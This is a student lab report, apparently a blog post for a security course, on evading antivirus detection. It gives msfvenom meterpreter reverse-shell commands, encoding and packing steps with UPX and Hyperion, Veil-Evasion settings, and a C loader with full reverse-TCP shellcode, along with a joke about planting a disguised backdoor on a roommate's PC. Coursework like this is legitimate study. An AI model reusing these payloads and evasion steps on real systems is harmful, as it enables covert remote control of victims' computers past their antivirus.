Exp3 免杀原理与实践

一、实践内容

  1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程

  2.通过组合应用各种技术实现恶意代码免杀(0.5分)

(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

  3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

二、基础问题回答

(1)杀软是如何检测出恶意代码的?

答:

  ①基于特征码检测;如果一个可执行文件包含一段特征码则被认为是恶意代码,过时的特征码库就是没有用的,因此杀毒软件的更新很重要。

  ②启发式恶意软件检测;如果一个软件干的事通常是恶意软件才会干的,就可从中得到启发,把它看做是恶意软件。

  ③基于行为的恶意软件检测;相当于是启发式的一种,或者是加入了行为监控的启发式。

(2)免杀是做什么?

答:免杀就是通过处理恶意软件好让其不被杀毒软件检测出来。

(3)免杀的基本方法有哪些?

答:

  ①改变特征码;若只有exe可以通过加壳,包括压缩壳和加密壳来改变特征码。若有源代码,可用其他语言进行重新再编译(veil-evasion)。

  ②改变行为;通讯方式尽量使用反弹式连接、隧道技术或者加密通讯数据。操作模式最好基于内存操作,减少对系统的修改,加入混淆作用的正常功能代码。

三、实验过程

(一)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

Windows的IP:192.168.219.131

Linux的IP:192.168.219.128

 

 

1.msfvenom直接生成meterpreter可执行文件

1)查看用msfvenom指令: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.128 LPORE=4314 -f exe > 20164314_backdoor.exe生成的后门可执行文件的免杀效果;

 

(2)打开网址在http://www.virscan.org/网站上查一下这个病毒能被多少杀软检测出来(要把后门的名字改成符合网站要求的名字),发现有61%的杀软(30/49)报告发现病毒,说明这种方式形成的后门免杀效果很差

 

2.Msfvenom使用编码器生成meterpreter可执行文件

(1)msfvenom使用编码器,输入指令: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.219.128 LPORT=4314 -f exe > 201643140_backdoor.exe

 

(2) 查看生成的后门文件的免杀效果,发现有55%的杀软(27/49)报告发现病毒,我以为说编码会降低检出率,结果却差不多,没有什么太大的变化

 

3.多次编码

(1)尝试多编码几次,输入指令: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b  ‘\x00’ LHOST=192.168.199.132 LPORT=4319 -f exe > 15431900_backdoor.exe

(2)查看生成的后门文件的免杀效果

 

(3)发现有59%的杀软(29/49)报告发现病毒,看来多编码几次也并没有什么用

4.msfvenom生成jar文件

(1)msfvenom使用编码器,输入指令

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.218.128 LPORT=4314 x> 201643143_backdoor_java.jar

(2)查看生成的后门文件的免杀效果

(二)使用Veil-Evasion生成可执行文件

1.Veil-Evasion是一个免杀平台,与Metasploit有点类似,默认没装;

2.安装veil-evasion

参考网址:http://www.freebuf.com/sectool/89024.html

安装了两次,没有成功,可能是因为网速的问题吧········

最后找同学拷了一个·······,才“安装成功”。

3.输入指令:veil-evasion

veil-evasion

打开软件,自动列出可用的指令 

4.输入命令

use c/meterpreter/rev_tcp.py

进入配置界面

 

5.设置反弹连接IP,命令为:

set LHOST 192.168.219.128

设置端口,命令为:

set LPORT 4314

查看:

6.输入指令generate,接着输入你想要playload的名字:ICes

7.在/var/lib/veil-evasion/output/compiled/下找到 ICes.exe 文件,传到Windows检测

免杀结果:

 

(三)C语言调动shellcode

 (1)首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.128 LPORT=4314 -f c用c语言生成一段shellcode;

 (2)将这些特征码复制到windows上,加上主函数后编译运行生成的可执行文件

unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xdb\x80"
"\x68\x02\x00\x10\xda\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

(3)运行.exe,提示木马文件

(4)用360查杀

 

(5)在网址http://www.virscan.org/查看

 

(6)运行回连kali

 

回连成功。

 (7)用upx加壳

 

回连

(8)加密壳Hyperion

  • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
  • 进入目录/usr/share/windows-binaries/hyperion/
  • 输入命令 wine hyperion.exe -v sxx_upxed.exe sxx_upxed_Hyperion.exe 进行加壳:

 

(四)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

 

回连室友电脑结果

 

四、离实战还缺些什么技术或步骤

     1.我们要成功监听的话必须要靶机启动可执行文件,可以通过下载软件的时候可以捆绑到软件上,但是执行还是有一定难度的。

     2.现在的杀毒软件的各种特征库更新的很快,要想达到实战还需要做到灵活更新。

五、实验体会

      为了完成这次实验,经历了千辛万苦,花了大半天的时间,最后基本完成了实验要求。通过这次实践,实现了恶意软件的免杀,而且这个过程也不是很复杂,不禁让我有了那么一丝恐惧,我的电脑里是不是也有不少这样的恶意软件,一定要抽个时间好好检查检查,还让我有了一丝兴奋,一旦把恶意软件伪装成QQ,拷到我室友电脑里,等他一运行,他的秘密将无处可藏,哈哈哈哈(手动滑稽)(别提醒他)。

posted @ 2019-03-31 21:52  FourICes  阅读(200)  评论(0编辑  收藏